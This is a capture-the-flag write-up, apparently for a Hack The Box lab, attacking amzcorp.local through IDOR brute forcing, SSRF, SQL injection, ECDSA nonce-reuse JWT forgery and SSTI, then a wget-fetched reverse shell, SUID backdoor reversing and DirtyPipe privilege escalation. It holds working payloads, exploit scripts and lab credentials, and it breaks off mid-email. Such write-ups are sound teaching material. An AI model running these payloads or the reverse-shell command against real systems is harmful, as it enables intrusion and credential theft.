Nmap
# Nmap 7.95 scan initiated Fri Aug 1 16:10:17 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -Pn -oN ./nmap.txt 10.13.37.15
Nmap scan report for 10.13.37.15
Host is up (0.20s latency).
Not shown: 986 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Apache httpd 2.4.52 ((Win64))
|_http-server-header: Apache/2.4.52 (Win64)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: Site doesn't have a title (text/html).
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-08-01 07:33:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: amzcorp.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: amzcorp.local0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: -8h37m12s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-08-01T07:34:23
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Aug 1 16:11:52 2025 -- 1 IP address (1 host up) scanned in 95.04 seconds
We need to add the domain amzcorp.local to our /etc/hosts
Page check
──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ curl 10.13.37.15
<html><meta http-equiv="refresh" content="0; url=http://jobs.amzcorp.local/" /></html>
Then add jobs.amzcorp.local to our /etc/hosts
We are redirected to login page

We can create an account to access to dashboard

Then we can access to the dashboard
From the source code of page, we can find special js files here

<script src="[/static/assets/js/app.js](view-source:http://jobs.amzcorp.local/static/assets/js/app.js)"></script>
<script type="application/javascript" src="[/static/assets/js/notify.js](view-source:http://jobs.amzcorp.local/static/assets/js/notify.js)"></script>
For the app.js
The file is Seriously overshadowed, but we can use de4js to make it clear
https://lelinhtinh.github.io/de4js/

Early Access
After viewing the code, there is a interesting function GetToken
function GetToken() {
var uuid = document.getElementById('uuid');
var username = document.getElementById('username');
var api_token = document.getElementById('api_token');
var output = document.getElementById('output');
output.innerHTML = '';
if (username.value == "") {
output.innerHTML = "Username value cannot be empty!";
setTimeout(() => {
document.getElementById('closeAlert');
}, 2000);
return;
}
xhr.open('POST', '/api/v4/tokens/get');
xhr.responseType = 'json';
xhr.onload = function (e) {
if (this.status == 200) {
api_token.append(this.response['token']);
}
};
data = btoa('{"get_token": "True", "uuid":' + uuid ',"username":' + username + '}');
xhr.send({
"data": data
});
}
It sends a base64 json structure passing the username and uuid which are parameters entered by the client user
We can consider getting the administrator token, but the limitation is that we don’t know its uuid
Let's write the brute force crack script
#!/usr/bin/python3
import requests, base64, sys
from pwn import log
bar = log.progress("uuid")
target = "http://jobs.amzcorp.local/api/v4/tokens/get"
cookies = {"session": ".eJw9jsFOxDAMRP8lZ4SSOI7jPfETnCsntbUV210p7YoD4t8xEuLoNzOe-QqLTT2u4XLOp76EZVvDJXAfWIsVgArSKdbUejKIIysaQqzOCWkVaClDYZDM2AxL1EFGKmLCCbhFUqiRqGSJhUptjKiYkknNPfJQBBMlIV575hpHRZMMwYc8D51_a2p1MI5py_n40Lsj6yD-FFtNYmycUlrX0qKNUnJmH4OJOnbP6S7bzSOf23nV-Xbqcb6Ox-7KfNzUhXcvOvz8LbzLrv_e8P0DcztSHw.aIxvRg.-Dq4a-wg-j2elumv1KAZ5B7EycQ"}
headers = {"Content-Type": "application/json"}
for uuid in range(0,1000):
data = '{"get_token": "True", "uuid": "%d", "username": "admin"}' % uuid
json = {"data": base64.b64encode(data.encode())}
request = requests.post(target, headers=headers, cookies=cookies, json=json)
bar.status(uuid)
if "Invalid" not in request.text:
print(request.text.strip())
bar.success(uuid)
sys.exit(0)
For the session, you can get it from the console

After running the brute script, we can get the result
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ python3 brute.py
[+] uuid: 955
{
"flag": "AWS{S1mPl3_iD0R_4_4dm1N}",
"token": "98d7f87065c5242ef5d3f6973720293ec58e434281e8195bef26354a6f0e931a1fd50a72ebfc8ead820cb38daca218d771d381259fd5d1a050b6620d1066022a",
"username": "admin",
"uuid": "955"
}
Inspector
Let's come back to our clear app.js, GetLogData function get from another domain logs.amzcorp.local
function GetLogData() {
var log_table = document.getElementById('log_table');
const xhr = new XMLHttpRequest();
xhr.open('GET', '/api/v4/logs/get_logs');
xhr.responseType = 'json';
xhr.onload = function (e) {
if (this.status == 200) {
log_table.append(this.response['log']);
}
};
xhr.send();
}
After searching for more API routes, we also found status
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ curl -s http://jobs.amzcorp.local/api/v4/status | jq
{
"site_status": [
{
"site": "amzcorp.local",
"status": "OK"
},
{
"site": "jobs.amzcorp.local",
"status": "OK"
},
{
"site": "services.amzcorp.local",
"status": "OK"
},
{
"site": "cloud.amzcorp.local",
"status": "OK"
},
{
"site": "inventory.amzcorp.local",
"status": "OK"
},
{
"site": "workflow.amzcorp.local",
"status": "OK"
},
{
"site": "company-support.amzcorp.local",
"status": "OK"
}
]
}
There are also other sub-domains, but we do not need them right now.
We can exploit the status route to point to logs.amzcorp.local and access this subdomain via SSRF.
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ curl -s http://jobs.amzcorp.local/api/v4/status -d '{"url": "http://logs.amzcorp.local"}' -b api_token=98d7f87065c5242ef5d3f6973720293ec58e434281e8195bef26354a6f0e931a1fd50a72ebfc8ead820cb38daca218d771d381259fd5d1a050b6620d1066022a -H 'Content-Type: application/json' | sed 's/\\n/\n/g' | sed 's/\\//g' | sed 's/""//g' > dump.txt
The content is json, mostly recurring patterns
cat dump.txt | jq | head
{
"result": [
{
"hostname": "Y2Ryb206eDoyNDoK.c00.xyz",
"ip_address": "129.141.123.251",
"method": "GET",
"requester_ip": "172.22.11.10",
"url": "/"
},
❯ echo Y2Ryb206eDoyNDoK | base64 -d
cdrom:x:24:
Using regular expressions, we can grab just the base64 data from the hostname field and search for the AWS string when decoded, thus finding a flag
cat dump.txt | jq -r '.result[].hostname' | grep -oP '[^/]+(?=\.c00\.xyz)' | base64 -d | strings | grep AWS
AWS{F1nD1nG_4_N33dl3_1n_h4y5t4ck}
Statement
If we search for the password string in the json we find a request where the data for the missing password is sent via GET. The problem is that it sends the password to tyler in plain text.
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat dump.txt | grep password -A1 -B5
{
"hostname": "jobs.amzcorp.local",
"ip_address": "172.21.10.12",
"method": "GET",
"requester_ip": "36.101.23.69",
"url": "/forgot-passsword/step_two/?username=tyler&email=tyler@amzcorp.local&password=%7BpXDWXyZ%26%3E3h%27%27W%3C"
},
After decode it we get
tyler:{pXDWXyZ&>3h''W<
We can use this credit to login to dashboard again
But there seems nothing useful here
Going back to the json we dumped in the hostname field, we found several subdomains, after removing duplicates we found that 2 of them were jobs-development
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat dump.txt | jq -r '.result[].hostname' | grep amzcorp.local | sort -u
company-support.amzcorp.local
jobs-development.amzcorp.local
jobs.amzcorp.local
In the subdomain request we can see that the path it points to is /.git, so we know there is an existing git project.
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat dump.txt | grep jobs-development.amzcorp.local -A5 -B1
{
"hostname": "jobs-development.amzcorp.local",
"ip_address": "172.21.10.11",
"method": "GET",
"requester_ip": "129.141.123.251",
"url": "/.git"
},
Then we can use git-dumperto dump the .git
git-dumper http://jobs-development.amzcorp.local/.git/ dump
We can find the update administrator api from /dump/jobs_portal/apps/home/routes.py
@blueprint.route('/api/v4/users/edit', methods=['POST'])
def update_users():
if request.method == "POST":
if request.cookies.get('api_token'):
tokens = []
users = Users.query.all()
for user in users:
tokens.append(user.api_token)
if request.cookies.get('api_token') in tokens:
if session['role'] == "Managers":
if request.headers.get('Content-Type') == 'application/json':
content = request.get_json(silent=True)
try:
if content['update_user']:
data = base64.b64decode(content['update_user']).decode()
info = json.loads(data)
if info['username'] and info['email'] and info['role']:
try:
specific_user = Users.query.filter_by(username=info['username']).first()
except:
specific_user = Users.query.filter_by(email=info['email']).first()
if specific_user:
if not specific_user.role == "Managers" and not specific_user.role == "Administrators":
specific_user.username = info['username']
specific_user.email = info['email']
specific_user.role = info['role']
return jsonify({"success":"User updated successfully"})
Create a structure in json as required to add Administrators role to wither user and then encode it into base64 as required by the code
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ echo '{"username":"wither","email":"wither@test.com","role":"Administrators"}' | base64 -w0
eyJ1c2VybmFtZSI6IndpdGhlciIsImVtYWlsIjoid2l0aGVyQHRlc3QuY29tIiwicm9sZSI6IkFkbWluaXN0cmF0b3JzIn0K
Finally, in update_user, a request is made using the base64 formatted data to update the role by dragging the administrator's api_token and Tyler's cookie.
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ curl -s http://jobs.amzcorp.local/api/v4/users/edit -d '{"update_user": "eyJ1c2VybmFtZSI6IndpdGhlciIsImVtYWlsIjoid2l0aGVyQHRlc3QuY29tIiwicm9sZSI6IkFkbWluaXN0cmF0b3JzIn0K"}' -b api_token=98d7f87065c5242ef5d3f6973720293ec58e434281e8195bef26354a6f0e931a1fd50a72ebfc8ead820cb38daca218d771d381259fd5d1a050b6620d1066022a -b session=.eJw1jktOBDEMRO-SNUJJHMfxrLgAZ2g5aRtG9AelexYwmrsThFj6lV657m6yrse7u5z9pk9uus7u4rg2zMkSQAap5HMoNRj4FhUNwefBCWkWKCFCYpDIWAyT10ZGKmLCAbh4UsieKEXxiVIujKgYgkmO1XNTBBMlIZ5r5OxbRpMIbgy5Hdr_1sRxtqPbdO4fug1gFWRUYslBjI1DCPOcireWUow8pmCginV4usp1Gcr5tWh_kfW77f3zedmbLCPt-6IjfJVN3rQfg_x-3WTVf8U9fgDjdVQK.aIx95Q.n4ZlHllEGYtLa8Q0OWZuhfvyJHs -H 'Content-Type: application/json' | jq
{
"success": "User updated successfully"
}
Then we can find we are administrator role here
Available routes are search engines with possible sqli
@blueprint.route('/admin/users/search', methods=['POST'])
@login_required
def search_user():
if session['role'] == "Administrators":
blacklist = ["0x", "**", "ifnull", " or ", "union"]
username = request.form.get('username')
if username:
try:
conn = connect_db()
cur = conn.cursor()
cur.execute('SELECT id, username, email, account_status, role FROM `Users` WHERE username=\'%s\'' % (username))
row = cur.fetchone()
conn.commit()
conn.close()
all_roles = Role.query.all()
row = ""
return render_template('home/search.html', row=row, segment="users", all_roles=all_roles)
except sqlite3.DataError:
all_roles = Role.query.all()
row = ""
Although there are blacklist here, but we can change union into Union
We start by using order by to get the number of columns, after sorting more than 5 columns, it will stop showing content
test' order by 6-- -

test' order by 5-- -

Then let's use Union to start the work
' Union Select 1,2,3,4,5-- -

Then dump database name
' Union Select 1,group_concat(schema_name),3,4,5 from information_schema.schemata-- -
jobs database will be our target here
Then dump table names
' Union Select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema='jobs'-- -

I wanna continue to dump the table keys_tbl
' Union Select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema='jobs' and table_name='keys_tbl'-- -

I will focus on key_name and key_value
' Union Select 1,group_concat(key_name,':',key_value),3,4,5 from keys_tbl-- -

AWS_ACCESS_KEY_ID:AKIA3G38BCN8SCJORKFL,AWS_SECRET_ACCESS_KEY:GMTENUBiGygBeyOc+GpXsOfbQFfa3GGvpvb1fAjf,FLAG:AWS{MySqL_T1m3_B453d_1nJ3c71on5_4_7h3_w1N}
Relentless
Let's continue to check this sub-domain here company-support.amzcorp.local
Also like before we did, create a account and try to access to dashboard
We can create a new account successfully, but it did not worked here.

Go back to the source code
We need to use URLSafeSerializer to create a code from the user and password, which can then be sent via GET or POST to /confirm-account
@blueprint.route('/confirm_account/<secretstring>', methods=['GET', 'POST'])
def confirm_account(secretstring):
s = URLSafeSerializer('serliaizer_code')
username, email = s.loads(secretstring)
user = Users.query.filter_by(username=username).first()
user.account_status = True
db.session.add(user)
db.session.commit()
#return redirect(url_for("authentication_blueprint.login", msg="Your account was confirmed succsessfully"))
return render_template('accounts/login.html',
msg='Account confirmed successfully.',
form=LoginForm())
We created a user wither with password wither123 so we can calculate the code
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ python3 -q
>>> from itsdangerous import URLSafeSerializer
>>> URLSafeSerializer('serliaizer_code').dumps(["rebirth", "rebirth"])
'WyJyZWJpcnRoIiwicmViaXJ0aCJd.epZnR2ItfXEXzMSs3LvypZlSI-I'
>>> from itsdangerous import URLSafeSerializer
>>> URLSafeSerializer('serliaizer_code').dumps(["tick", "tick"])
'WyJ0aWNrIiwidGljayJd.dV3d09nAN4yo6CDLXPuPejEQSD8'
Sending it to /confirm-account will return that the account is confirmed
http://company-support.amzcorp.local/confirm_account/WyJyZWJpcnRoIiwicmViaXJ0aCJd.epZnR2ItfXEXzMSs3LvypZlSI-I
http://company-support.amzcorp.local/confirm_account/WyJ0aWNrIiwidGljayJd.dV3d09nAN4yo6CDLXPuPejEQSD8
Then we can login successfully

In this place, it said tony would handle it, I guess that's a XSSvulnerable or mock tony's JWT
Checking the code again from .git, we found a custom_jwt.py file
import base64
from ecdsa import ellipticcurve
from ecdsa.ecdsa import curve_256, generator_256, Public_key, Private_key, Signature
from random import randint
from hashlib import sha256
from Crypto.Util.number import long_to_bytes, bytes_to_long
import json
G = generator_256
q = G.order()
k = randint(1, q - 1)
d = randint(1, q - 1)
pubkey = Public_key(G, G*d)
privkey = Private_key(pubkey, d)
def b64(data):
return base64.urlsafe_b64encode(data).decode()
def unb64(data):
l = len(data) % 4
return base64.urlsafe_b64decode(data + "=" * (4 - l))
def sign(msg):
msghash = sha256(msg.encode()).digest()
sig = privkey.sign(bytes_to_long(msghash), k)
_sig = (sig.r << 256) + sig.s
return b64(long_to_bytes(_sig)).replace("=", "")
def verify(jwt):
_header, _data, _sig = jwt.split(".")
header = json.loads(unb64(_header))
data = json.loads(unb64(_data))
sig = bytes_to_long(unb64(_sig))
signature = Signature(sig >> 256, sig % 2**256)
msghash = bytes_to_long(sha256((f"{_header}.{_data}").encode()).digest())
if pubkey.verifies(msghash, signature):
return True
return False
def decode_jwt(jwt):
_header, _data, _sig = jwt.split(".")
data = json.loads(unb64(_data))
return data
def create_jwt(data):
header = {"alg": "ES256"}
_header = b64(json.dumps(header, separators=(',', ':')).encode())
_data = b64(json.dumps(data, separators=(',', ':')).encode())
_sig = sign(f"{_header}.{_data}".replace("=", ""))
jwt = f"{_header}.{_data}.{_sig}"
jwt = jwt.replace("=", "")
return jwt
Using the code itself and passing our current cookie to decode_jwt we can see the json structure used when creating the json web token
#!/usr/bin/python3
import json, base64
def unb64(data):
l = len(data) % 4
return base64.urlsafe_b64decode(data + "=" * (4 - l))
def decode_jwt(jwt):
_header, _data, _sig = jwt.split(".")
data = json.loads(unb64(_data))
return data
print(decode_jwt("eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJlYmlydGgiLCJlbWFpbCI6InJlYmlydGhAdGVzdC5jb20iLCJhY2NvdW50X3N0YXR1cyI6dHJ1ZX0.eYnS_vULThniQuqVB4EoIAQ6QPx1-xBxeCubuZRr8S7epVLYzF8OpYgEcphK1oVueeaQEq7P9uPmD9YLxOiddA"))
Then we get
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ python3 jwt.py
{'username': 'rebirth', 'email': 'rebirth@test.com', 'account_status': True}
The idea is to simulate user tony, however, the variables k and d will take random values for each execution, so if we create it, it will fail the verification of firma.
There is a blog show that
ECDSA: Revealing the private key, if same nonce used (with SECP256k1)
Using the method in the article, we can create a script that uses the two jwts we created when registering the user to calculate the JWT of user tony by extracting the k and d values. In this way, when the same value firmarlo is used, it can pass the verification.
#!/usr/bin/python3
from ecdsa.ecdsa import generator_256, Public_key, Private_key, Signature
from Crypto.Util.number import bytes_to_long, long_to_bytes
import libnum, hashlib, sys, json, base64
def b64(data):
return base64.urlsafe_b64encode(data).decode()
def unb64(data):
l = len(data) % 4
return base64.urlsafe_b64decode(data + "=" * (4 - l))
def sign(msg):
msghash = hashlib.sha256(msg.encode()).digest()
sig = privkey.sign(bytes_to_long(msghash), k)
_sig = (sig.r << 256) + sig.s
return b64(long_to_bytes(_sig)).replace("=", "")
def create_jwt(data):
header = {"alg": "ES256"}
_header = b64(json.dumps(header, separators=(',', ':')).encode())
_data = b64(json.dumps(data, separators=(',', ':')).encode())
_sig = sign(f"{_header}.{_data}".replace("=", ""))
jwt = f"{_header}.{_data}.{_sig}"
jwt = jwt.replace("=", "")
return jwt
jwt1 = "eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJlYmlydGgiLCJlbWFpbCI6InJlYmlydGhAdGVzdC5jb20iLCJhY2NvdW50X3N0YXR1cyI6dHJ1ZX0.eYnS_vULThniQuqVB4EoIAQ6QPx1-xBxeCubuZRr8S7epVLYzF8OpYgEcphK1oVueeaQEq7P9uPmD9YLxOiddA"
jwt2 = "eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InRpY2siLCJlbWFpbCI6InRpY2tAdGVzdC5jb20iLCJhY2NvdW50X3N0YXR1cyI6dHJ1ZX0.eYnS_vULThniQuqVB4EoIAQ6QPx1-xBxeCubuZRr8S64_wtMsP6v7COaHTEBKLwT7QonLoHPnnx98CoXc0Kdew"
head1, data1, sig1 = jwt1.split(".")
head2, data2, sig2 = jwt2.split(".")
msg1 = f"{head1}.{data1}"
msg2 = f"{head2}.{data2}"
h1 = bytes_to_long(hashlib.sha256(msg1.encode()).digest())
h2 = bytes_to_long(hashlib.sha256(msg2.encode()).digest())
_sig1 = bytes_to_long(unb64(sig1))
_sig2 = bytes_to_long(unb64(sig2))
sig1 = Signature(_sig1 >> 256, _sig1 % (2 ** 256))
sig2 = Signature(_sig2 >> 256, _sig2 % (2 ** 256))
r1, s1 = sig1.r, sig1.s
r2, s2 = sig2.r, sig2.s
G = generator_256
q = G.order()
valinv = libnum.invmod(r1 * (s1 - s2), q)
d = (((s2 * h1) - (s1 * h2)) * (valinv)) % q
valinv = libnum.invmod((s1 - s2), q)
k = ((h1 - h2) * valinv) % q
pubkey = Public_key(G, G * d)
privkey = Private_key(pubkey, d)
data = {'username': 'tony', 'email': 'tony@amzcorp.local', 'account_status': True}
print(create_jwt(data))
Then run the script
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ python exploit.py
eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InRvbnkiLCJlbWFpbCI6InRvbnlAYW16Y29ycC5sb2NhbCIsImFjY291bnRfc3RhdHVzIjp0cnVlfQ.eYnS_vULThniQuqVB4EoIAQ6QPx1-xBxeCubuZRr8S7X5jjqsXFAHe8b4n_jrtu72hnnNsocZbTTQ6VkHiFmrA
Then exchange it, we can take into tony role

Returning to the git code in this function, we can see a SSTI vulnerability as it uses the render_template_string function to display data
@blueprint.route('/admin/tickets/view/<id>', methods=['GET'])
@login_required
def view_ticket(id):
data = decode_jwt(request.cookies.get('aws_auth'))
if verify(request.cookies.get('aws_auth')):
user_authed = Users.query.filter_by(username=data['username']).first()
if user_authed.role == "Administrators":
ticket = Tickets.query.filter_by(id=id).first()
ticket.status = "Read"
db.session.commit()
message = ticket.message
user = Users.query.filter_by(username=ticket.user_sent).first()
email = user.email
blacklist = ["__classes__","request[request.","__","file","write"]
for bad_string in blacklist:
if bad_string in message:
return render_template('home/500.html')
for bad_string in blacklist:
if bad_string in email:
return render_template('home/500.html')
for bad_string in blacklist:
for param in request.args:
if bad_string in request.args[param]:
return render_template('home/500.html')
rendered_template = render_template("home/ticket.html", ticket=ticket,segment="tickets", email=email)
return render_template_string(rendered_template)
else:
return render_template('home/403.html')
else:
return render_template('home/403.html')
We can send the classic payload {{7*7}} to see if it can be interpreted.

It successfully worked, that means we can try to make a reverse shell here. But remember there are blacklist restrictions
blacklist = ["__classes__","request[request.","__","file","write"]
for bad_string in blacklist:
if bad_string in message:
return render_template('home/500.html')
for bad_string in blacklist:
if bad_string in email:
return render_template('home/500.html')
for bad_string in blacklist:
for param in request.args:
if bad_string in request.args[param]:
return render_template('home/500.html')
So we can try to change our payload
{{ dict.mro()[-1].__subclasses__()[276](request.args.cmd,shell=True,stdout=-1).communicate()[0].strip() }}
Then we can get a web-shell

We can use it to run the reverse shell
Since we are running commands to avoid issues with quotation marks and blacklists, we can create an index.html file in bash containing revshell and share it, then download the file using wget and run it using bash
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ cat index.html
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/443 0>&1
┌──(wither㉿localhost)-[~/Templates/htb-labs/AWS]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
?cmd=wget 10.10.14.5/index.html
?cmd=bash index.html
Then we can get the reverse shell as www-data
netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.13.37.15
www-data@0474e1401baa:~/web$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@0474e1401baa:~/web$ hostname -I
172.22.11.10
www-data@0474e1401baa:~/web$ cat ../flag.txt
AWS{N0nc3_R3u5e_t0_s571_c0de_ex3cu71on}
www-data@0474e1401baa:~/web$
Magnified
Then While searching for files with suid permissions, we found an unusual file, backup_tool
www-data@0474e1401baa:~$ find / -perm -u+s 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/umount
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/backup_tool
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
www-data@0474e1401baa:~$ ls -l /usr/bin/backup_tool
-rwsr-xr-x 1 root root 25040 Feb 9 2022 /usr/bin/backup_tool
Then we can use ida to decompile it
int __fastcall main(int argc, const char **argv, const char **envp)
{
setgid(0);
setuid(0);
a(0LL);
return 0;
}
Starting from the main function, it executes setguid and setuid to 0 (i.e. root ID), then it simply calls the a() function and exits the program
__int64 a()
{
const char *_password; // rsi
__int64 _otp; // [rsp+8h] [rbp-18h]
char *_username; // [rsp+18h] [rbp-8h]
puts("Enter your credentials to continue:");
printf("Username: ");
_username = (char *)g_u();
__isoc99_scanf("%127s", username);
printf("Password: ");
__isoc99_scanf("%127s", password);
if ( strcmp(username, _username) )
{
puts("Incorrect Credentials!");
exit(1);
}
_password = (const char *)g_p();
if ( strcmp(password, _password) )
{
puts("Incorrect Credentials!");
exit(1);
}
_otp = g_o();
printf("OTP: ");
__isoc99_scanf("%d8", &otp);
if ( _otp != otp )
{
puts("Incorrect Credentials!");
exit(1);
}
l_m();
return 0LL;
}
Next, the program asks for some data before calling the l_m() function. These values are username , password , and otp and uses the function to get them.
For the username and password fields, a weak strcmp function is used to compare the input to the function's result so that we can use ltrace to see the value.
ltrace ./backup_tool
setgid(0) = -1
setuid(0) = -1
puts("Enter your credentials to contin"...Enter your credentials to continue:
printf("Username: ") = 10
malloc(8) = 0x557bc89e05c0
__isoc99_scanf(0x557bc87460cf, 0x557bc87481e0, 0x726f6f646b636162, 6Username: test
printf("Password: ") = 10
__isoc99_scanf(0x557bc87460cf, 0x557bc8748260, 0, 0Password: test
strcmp("test", "backdoor") = 18
puts("Incorrect Credentials!"Incorrect Credentials!
exit(1 <no return ...>
+++ exited (status 1) +++
ltrace ./backup_tool
setgid(0) = -1
setuid(0) = -1
puts("Enter your credentials to contin"...Enter your credentials to continue:
printf("Username: ") = 10
malloc(8) = 0x55dbaa54d5c0
__isoc99_scanf(0x55dba98210cf, 0x55dba98231e0, 0x726f6f646b636162, 6Username: backdoor
printf("Password: ") = 10
__isoc99_scanf(0x55dba98210cf, 0x55dba9823260, 0, 0Password: test
strcmp("backdoor", "backdoor") = 0
strcmp("test", "<!8,>;<;He") = 56
puts("Incorrect Credentials!"Incorrect Credentials!
exit(1 <no return ...>
+++ exited (status 1) +++
The OTP code depends on hora, so it needs to be synchronized with DC. Then in gdb, we apply a breakpoint before the ret of the g_o() function used to get it. We run the program with the credentials and when it reaches the breakpoint, the code will be saved in the$raxregister, which we can view with p
sudo ntpdate -s amzcorp.local
gdb -q backup_tool
Reading symbols from /home/kali/backup_tool...
(No debugging symbols found in /home/kali/backup_tool)
pwndbg> break *g_o+805
Breakpoint 1 at 0x2642
pwndbg> run
Starting program: /home/kali/backup_tool
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your credentials to continue:
Username: backdoor
Password: <!8,>;<;He
Breakpoint 1, 0x0000555555556642 in g_o ()
pwndbg> print $rax
$1 = 538406
pwndbg>
Then depending on the timing we can use it in-process or execute the binary file on the victim machine, passing the credit and otp code we obtained.
www-data@0474e1401baa:~$ /usr/bin/backup_tool
Enter your credentials to continue:
Username: backdoor
Password: <!8,>;<;He
OTP: 538406
Select Option:
1. Plant Backdoor
2. Read Secret
3. Restart exfiltration
4. Exit
Enter choice: 2
Secret: AWS{r3v3r51ng_1mpl4nt5_1s_fun}
Shortcut
Going back to the decompiled code, we can see case 1, which calls the a_b() function, which obviously modifies shadow, adding the hash of user tom
__int64 a_b()
{
_DWORD entry[10]; // [rsp+0h] [rbp-160h] BYREF
char command[8]; // [rsp+70h] [rbp-F0h] BYREF
char dest[8]; // [rsp+E0h] [rbp-80h] BYREF
char *src; // [rsp+148h] [rbp-18h]
char *key; // [rsp+150h] [rbp-10h]
char *salt; // [rsp+158h] [rbp-8h]
puts("Initiating backdoor...");
salt = "$6$52Cz9R5yJTSpDulz";
key = g_u_p();
src = crypt(key, "$6$52Cz9R5yJTSpDulz");
*dest = 980250484LL;
strcat(dest, src);
*command = 0x27206F686365LL;
strcat(command, dest);
strcpy(entry, ":19027:0:99999:7:::' >> /etc/shadow");
entry[9] = 0;
strcat(command, entry);
if ( s_s() )
{
puts("Already added to shadow");
}
else
{
system(command);
puts("You may authenticate now");
}
return 0LL;
}
Then back in gdb, in addition to the breakpoint for otp, we add another breakpoint in a_b(). After it calls g_u_p(), we get the otp code and send it. When we stop at the second breakpoint in the $rax register, we find the password.
gdb -q ./backup_tool
Reading symbols from /home/kali/backup_tool...
(No debugging symbols found in /home/kali/backup_tool)
pwndbg> break *g_o+805
Breakpoint 1 at 0x2642
pwndbg> break *a_b+44
Breakpoint 2 at 0x19d5
pwndbg> run
Starting program: /home/kali/backup_tool
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Enter your credentials to continue:
Username: backdoor
Password: <!8,>;<;He
Breakpoint 1, 0x0000555555556642 in g_o ()
pwndbg> print $rax
$1 = 303099
pwndbg> continue
Continuing.
OTP: 303099
Select Option:
1. Plant Backdoor
2. Read Secret
3. Restart exfiltration
4. Exit
Enter choice: 1
Initiating backdoor...
Breakpoint 2, 0x00005555555559d5 in a_b ()
pwndbg> x/s $rax
0x555555576a80: "dG9#r1@c0fR"
pwndbg>
We get the credit of tom:dG9#r1@c0fR
Then we can get the shell as tom
www-data@1c89340fee5f:~$ su tom
Password: dG9#r1@c0fR
$ bash
tom@1c89340fee5f:~$ id
uid=1000(tom) gid=1000(tom) groups=1000(tom)
tom@1c89340fee5f:~$ hostname -I
172.22.11.10
tom@1c89340fee5f:~$
By running linpeas we can find possible ways to escalate privileges and it suggests using the DirtyPipe exploit
tom@1c89340fee5f:/tmp$ ./linpeas.sh
╔══════════╣ Executing Linux Exploit Suggester
╚ https://github.com/mzet-/linux-exploit-suggester
[+] [CVE-2022-0847] DirtyPipe
Details: https://dirtypipe.cm4all.com/
Exposure: less probable
Tags: ubuntu=(20.04|21.04),debian=11
Download URL: https://haxx.in/files/dirtypipez.c
Let's use this exploit https://github.com/Al1ex/CVE-2022-0847
tom@1c89340fee5f:/tmp$ ./exp /etc/passwd 1 ootz:
It worked!
tom@1c89340fee5f:/tmp$ head -n1 /etc/passwd
rootz::0:0:root:/root:/bin/bash
tom@1c89340fee5f:/tmp$
tom@1c89340fee5f:~$ su rootz
rootz@0474e1401baa:~# id
uid=0(rootz) gid=0(root) groups=0(root)
rootz@0474e1401baa:~# hostname -I
172.22.11.10
rootz@0474e1401baa:~# cat /root/flag.txt
AWS{uN1x1f13d_4_l0t!}
rootz@0474e1401baa:~#
Then you can get the root shell here.
Long Run
The root user receives an email in /var/mail/root asking him to activate the jameshauwnnel user as an account in the DC domain
rootz@0474e1401baa:~# cat /var/mail/root
From tom@localhost Mon, 10 Jan 2022 09:10:48 GMT
Return-Path: <tom@localhost>
Received: from localhost (localhost [127.0.0.1])
by localhost (8.15.2/8.15.2/Debian-18) with ESMTP id 28AAfaX452455
for <root@localhost>; Mon, 10 Jan 2022 09:10:48 GMT
Received: (from tom@localhost)
by localhost (8.15.2/8.15.2/Submit) id 28AAfaX452455;
Mon, 10 Jan 2022 09:10:48 GMT
Date: Mon, 10 Jan 2022 09:10:48 GMT
Message-Id: <202201100910.28AAfaX452455@localhost>
To: root@localhost
From: tom@localhost
Subject: Activating User Account
Hi Tony.
